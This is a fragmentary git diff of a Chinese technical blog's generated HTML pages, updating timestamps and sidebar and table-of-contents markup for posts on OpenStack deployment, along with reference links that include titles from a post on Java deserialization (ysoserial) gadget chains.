class="toc-link" href="#%E5%90%AF%E7%94%A8%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.</span> <span class="toc-text">启用服务</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" 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 <li><p><a target="_blank" rel="noopener" href="https://docs.openstack.org/keystone/victoria/getting-started/policy_mapping.html">Mapping of policy target to API</a></p>
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@@ -277,7 +277,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><p><a target="_blank" rel="noopener" href="https://bugs.launchpad.net/fuel/+bug/1433894">novncproxy: code 404, message File not found</a></p>
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class="toc-text">身份认证和 API 配置</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E4%BE%9D%E8%B5%96"><span class="toc-number">2.3.</span> <span class="toc-text">安装依赖</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6"><span class="toc-number">2.4.</span> <span class="toc-text">配置文件</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-Placement"><span class="toc-number">2.5.</span> <span class="toc-text">部署 Placement</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B5%8B%E8%AF%95"><span class="toc-number">2.6.</span> <span class="toc-text">测试</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Nova"><span class="toc-number">3.</span> <span class="toc-text">Nova</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE"><span class="toc-number">3.1.</span> <span class="toc-text">环境配置</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-Nova"><span class="toc-number">3.2.</span> <span class="toc-text">部署 Nova</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#nova-compute"><span class="toc-number">3.3.</span> <span class="toc-text">nova-compute</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B5%8B%E8%AF%95-1"><span class="toc-number">3.4.</span> <span class="toc-text">测试</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">4.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" 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class="toc-text">身份认证和 API 配置</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E4%BE%9D%E8%B5%96"><span class="toc-number">2.3.</span> <span class="toc-text">安装依赖</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6"><span class="toc-number">2.4.</span> <span class="toc-text">配置文件</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-Placement"><span class="toc-number">2.5.</span> <span class="toc-text">部署 Placement</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B5%8B%E8%AF%95"><span class="toc-number">2.6.</span> <span class="toc-text">测试</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Nova"><span class="toc-number">3.</span> <span class="toc-text">Nova</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE"><span class="toc-number">3.1.</span> <span class="toc-text">环境配置</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-Nova"><span class="toc-number">3.2.</span> <span class="toc-text">部署 Nova</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#nova-compute"><span class="toc-number">3.3.</span> <span class="toc-text">nova-compute</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B5%8B%E8%AF%95-1"><span class="toc-number">3.4.</span> <span class="toc-text">测试</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">4.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" 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+++ "b/2021/05/25/OpenStack/OSProfiler \346\272\220\347\240\201\345\210\206\346\236\220/index.html"	
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+<meta property="article:modified_time" content="2024-05-22T14:10:41.001Z">
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+  postUpdate: '2024-05-22 22:10:41'
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diff --git "a/2021/05/31/OpenStack/OpenStack \345\215\225\346\234\272\351\203\250\347\275\262 \342\200\224\342\200\224 Kolla-Ansible/index.html" "b/2021/05/31/OpenStack/OpenStack \345\215\225\346\234\272\351\203\250\347\275\262 \342\200\224\342\200\224 Kolla-Ansible/index.html"
index e7311fb52..f6c201772 100644
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+++ "b/2021/05/31/OpenStack/OpenStack \345\215\225\346\234\272\351\203\250\347\275\262 \342\200\224\342\200\224 Kolla-Ansible/index.html"	
@@ -260,7 +260,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://docs.openstack.org/kolla-ansible/latest/user/support-matrix.html">Support Matrix</a></li>
 <li><a target="_blank" rel="noopener" href="https://docs.openstack.org/kolla-ansible/latest/user/quickstart.html">OpenStack Docs: Quick Start</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2021/05/31/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20Kolla-Ansible/">https://jckling.github.io/2021/05/31/OpenStack/OpenStack 单机部署 —— Kolla-Ansible/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a 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评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87"><span class="toc-number">1.</span> <span class="toc-text">环境准备</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9B%B4%E6%8D%A2-pip-%E6%BA%90%EF%BC%88%E5%8F%AF%E9%80%89%EF%BC%89"><span class="toc-number">1.1.</span> <span class="toc-text">更换 pip 源（可选）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9B%B4%E6%8D%A2-Ubuntu-%E6%BA%90%EF%BC%88%E5%8F%AF%E9%80%89%EF%BC%89"><span class="toc-number">1.2.</span> <span class="toc-text">更换 Ubuntu 源（可选）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E4%BE%9D%E8%B5%96"><span class="toc-number">1.3.</span> <span class="toc-text">安装依赖</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-OpenStack"><span class="toc-number">2.</span> <span class="toc-text">部署 OpenStack</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85-Kolla-Ansible"><span class="toc-number">2.1.</span> <span class="toc-text">安装 Kolla-Ansible</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%85%8D%E7%BD%AE-Ansible"><span class="toc-number">2.2.</span> <span class="toc-text">配置 Ansible</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%87%86%E5%A4%87%E5%88%9D%E5%A7%8B%E9%85%8D%E7%BD%AE"><span class="toc-number">2.3.</span> <span class="toc-text">准备初始配置</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Inventory"><span class="toc-number">2.3.1.</span> <span class="toc-text">Inventory</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Kolla-%E5%AF%86%E7%A0%81"><span class="toc-number">2.3.2.</span> <span class="toc-text">Kolla 密码</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Kolla-globals-yml"><span class="toc-number">2.3.3.</span> <span class="toc-text">Kolla globals.yml</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2"><span class="toc-number">2.4.</span> <span class="toc-text">部署</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8-OpenStack"><span class="toc-number">2.5.</span> <span class="toc-text">使用 OpenStack</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" 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class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87"><span class="toc-number">1.</span> <span class="toc-text">环境准备</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9B%B4%E6%8D%A2-pip-%E6%BA%90%EF%BC%88%E5%8F%AF%E9%80%89%EF%BC%89"><span class="toc-number">1.1.</span> <span class="toc-text">更换 pip 源（可选）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9B%B4%E6%8D%A2-Ubuntu-%E6%BA%90%EF%BC%88%E5%8F%AF%E9%80%89%EF%BC%89"><span class="toc-number">1.2.</span> <span class="toc-text">更换 Ubuntu 源（可选）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E4%BE%9D%E8%B5%96"><span class="toc-number">1.3.</span> <span class="toc-text">安装依赖</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-OpenStack"><span class="toc-number">2.</span> <span class="toc-text">部署 OpenStack</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85-Kolla-Ansible"><span class="toc-number">2.1.</span> <span class="toc-text">安装 Kolla-Ansible</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%85%8D%E7%BD%AE-Ansible"><span class="toc-number">2.2.</span> <span class="toc-text">配置 Ansible</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%87%86%E5%A4%87%E5%88%9D%E5%A7%8B%E9%85%8D%E7%BD%AE"><span class="toc-number">2.3.</span> <span class="toc-text">准备初始配置</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Inventory"><span class="toc-number">2.3.1.</span> <span class="toc-text">Inventory</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Kolla-%E5%AF%86%E7%A0%81"><span class="toc-number">2.3.2.</span> <span class="toc-text">Kolla 密码</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Kolla-globals-yml"><span class="toc-number">2.3.3.</span> <span class="toc-text">Kolla globals.yml</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2"><span class="toc-number">2.4.</span> <span class="toc-text">部署</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8-OpenStack"><span class="toc-number">2.5.</span> <span class="toc-text">使用 OpenStack</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" 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XIVLauncher 启动器与 Dalamud 卫月框架使用教程</a><time datetime="2023-09-02T08:48:08.000Z" title="发表于 2023-09-02 16:48:08">2023-09-02</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/08/30/Game/FFXIV/FF14-ReShade%20%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/" title="FF14 ReShade 使用教程"><img src="https://s2.loli.net/2023/08/31/YywZPAqSUhDkbOW.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="FF14 ReShade 使用教程"/></a><div class="content"><a class="title" href="/2023/08/30/Game/FFXIV/FF14-ReShade%20%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/" title="FF14 ReShade 使用教程">FF14 ReShade 使用教程</a><time datetime="2023-08-30T14:11:14.000Z" title="发表于 2023-08-30 22:11:14">2023-08-30</time></div></div></div></div><div class="card-widget ads-wrap"><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1035234274961147" data-ad-slot="8787224657" data-ad-format="auto" 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index 7a9221e92..d9efed841 100644
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-<meta property="article:modified_time" content="2024-05-21T10:02:48.264Z">
+<meta property="article:modified_time" content="2024-05-22T14:10:41.005Z">
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@@ -61,7 +61,7 @@
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@@ -267,7 +267,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://askubuntu.com/questions/984445/netplan-configuration-on-ubuntu-17-04-virtual-machine">netplan configuration on Ubuntu 17.04 virtual machine</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.digitalocean.com/community/tutorials/how-to-allow-remote-access-to-mysql">How To Allow Remote Access to MySQL</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2021/05/31/OpenStack/Ubuntu20.04%20%E6%BA%90%E7%A0%81%E5%AE%89%E8%A3%85%20nova-compute%20(Victoria)/">https://jckling.github.io/2021/05/31/OpenStack/Ubuntu20.04 源码安装 nova-compute (Victoria)/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a 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class="toc-link" href="#Placement"><span class="toc-number">2.3.</span> <span class="toc-text">Placement</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Nova"><span class="toc-number">2.4.</span> <span class="toc-text">Nova</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E8%8A%82%E7%82%B9"><span class="toc-number">3.</span> <span class="toc-text">计算节点</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8E%A7%E5%88%B6%E8%8A%82%E7%82%B9-1"><span class="toc-number">3.1.</span> <span class="toc-text">控制节点</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">4.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div 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class="toc-link" href="#Placement"><span class="toc-number">2.3.</span> <span class="toc-text">Placement</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Nova"><span class="toc-number">2.4.</span> <span class="toc-text">Nova</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E8%8A%82%E7%82%B9"><span class="toc-number">3.</span> <span class="toc-text">计算节点</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8E%A7%E5%88%B6%E8%8A%82%E7%82%B9-1"><span class="toc-number">3.1.</span> <span class="toc-text">控制节点</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">4.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div 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diff --git "a/2021/06/14/OpenStack/Kolla-Ansible \346\234\254\345\234\260\344\273\223\345\272\223\351\203\250\347\275\262/index.html" "b/2021/06/14/OpenStack/Kolla-Ansible \346\234\254\345\234\260\344\273\223\345\272\223\351\203\250\347\275\262/index.html"
index e76aff9d9..671644155 100644
--- "a/2021/06/14/OpenStack/Kolla-Ansible \346\234\254\345\234\260\344\273\223\345\272\223\351\203\250\347\275\262/index.html"	
+++ "b/2021/06/14/OpenStack/Kolla-Ansible \346\234\254\345\234\260\344\273\223\345\272\223\351\203\250\347\275\262/index.html"	
@@ -242,7 +242,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://docs.openstack.org/kolla-ansible/latest/user/operating-kolla.html">Operating Kolla</a></li>
 <li><a target="_blank" rel="noopener" href="https://docs.openstack.org/kolla/ussuri/admin/image-building.html">Building Container Images</a></li>
 </ul>
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Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87"><span class="toc-number">1.</span> <span class="toc-text">环境准备</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2%E6%9C%AC%E5%9C%B0%E4%BB%93%E5%BA%93-Docker-Registry"><span class="toc-number">2.</span> <span class="toc-text">部署本地仓库 Docker Registry</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E6%9C%AC%E5%9C%B0%E4%BB%93%E5%BA%93"><span class="toc-number">3.</span> <span class="toc-text">使用本地仓库</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%85%B6%E4%BB%96"><span class="toc-number">4.</span> <span class="toc-text">其他</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3"><span class="toc-number">5.</span> <span class="toc-text">问题与解决</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#nova-compute-%E6%B3%A8%E5%86%8C%E5%A4%B1%E8%B4%A5"><span class="toc-number">5.1.</span> <span class="toc-text">nova-compute 注册失败</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%81%E7%A7%BB%E5%87%BA%E9%94%99"><span class="toc-number">5.2.</span> <span class="toc-text">数据库迁移出错</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AF%B7%E6%B1%82%E8%B6%85%E6%97%B6"><span class="toc-number">5.3.</span> <span class="toc-text">请求超时</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">6.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" 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评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87"><span class="toc-number">1.</span> <span class="toc-text">环境准备</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2%E6%9C%AC%E5%9C%B0%E4%BB%93%E5%BA%93-Docker-Registry"><span class="toc-number">2.</span> <span class="toc-text">部署本地仓库 Docker Registry</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E6%9C%AC%E5%9C%B0%E4%BB%93%E5%BA%93"><span class="toc-number">3.</span> <span class="toc-text">使用本地仓库</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%85%B6%E4%BB%96"><span class="toc-number">4.</span> <span class="toc-text">其他</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3"><span class="toc-number">5.</span> <span class="toc-text">问题与解决</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#nova-compute-%E6%B3%A8%E5%86%8C%E5%A4%B1%E8%B4%A5"><span class="toc-number">5.1.</span> <span class="toc-text">nova-compute 注册失败</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%81%E7%A7%BB%E5%87%BA%E9%94%99"><span class="toc-number">5.2.</span> <span class="toc-text">数据库迁移出错</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AF%B7%E6%B1%82%E8%B6%85%E6%97%B6"><span class="toc-number">5.3.</span> <span class="toc-text">请求超时</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">6.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" 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@@ -950,7 +950,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://c014.cn/blog/java/ROME/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html">ROME 反序列化分析</a></li>
 <li><a target="_blank" rel="noopener" href="https://su18.org/post/ysuserial/">Java 反序列化取经路</a></li>
 </ul>
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方法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#RMI"><span class="toc-number">1.1.2.</span> <span class="toc-text">RMI</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#RMI-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CC5%EF%BC%89"><span class="toc-number">1.1.3.</span> <span class="toc-text">RMI 反序列化漏洞（CC5）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Apache-CommonsCollections"><span class="toc-number">1.1.4.</span> <span class="toc-text">Apache CommonsCollections</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#ysoserial"><span class="toc-number">2.</span> <span class="toc-text">ysoserial</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#URLDNS"><span class="toc-number">2.1.</span> <span class="toc-text">URLDNS</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC1"><span class="toc-number">2.2.</span> <span class="toc-text">CC1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#jdk-1-7u21"><span class="toc-number">2.3.</span> <span class="toc-text">jdk 1.7u21</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC2"><span class="toc-number">2.4.</span> <span class="toc-text">CC2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC3"><span class="toc-number">2.5.</span> <span class="toc-text">CC3</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC4"><span class="toc-number">2.6.</span> <span class="toc-text">CC4</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC5"><span class="toc-number">2.7.</span> <span class="toc-text">CC5</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC6"><span class="toc-number">2.8.</span> <span class="toc-text">CC6</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC7"><span class="toc-number">2.9.</span> <span class="toc-text">CC7</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Groovy1"><span class="toc-number">2.10.</span> <span class="toc-text">Groovy1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Click1"><span class="toc-number">2.11.</span> <span class="toc-text">Click1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CommonsBeanutils1"><span class="toc-number">2.12.</span> <span class="toc-text">CommonsBeanutils1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Clojure"><span class="toc-number">2.13.</span> <span class="toc-text">Clojure</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ROME"><span class="toc-number">2.14.</span> <span class="toc-text">ROME</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Myfaces1"><span class="toc-number">2.15.</span> <span class="toc-text">Myfaces1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Myfaces2"><span class="toc-number">2.16.</span> <span class="toc-text">Myfaces2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Spring1"><span class="toc-number">2.17.</span> <span class="toc-text">Spring1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Spring2"><span class="toc-number">2.18.</span> <span class="toc-text">Spring2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Vaddin1"><span class="toc-number">2.19.</span> <span class="toc-text">Vaddin1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#C3P0"><span class="toc-number">2.20.</span> <span class="toc-text">C3P0</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">3.</span> <span class="toc-text">总结</span></a></li><li class="toc-item 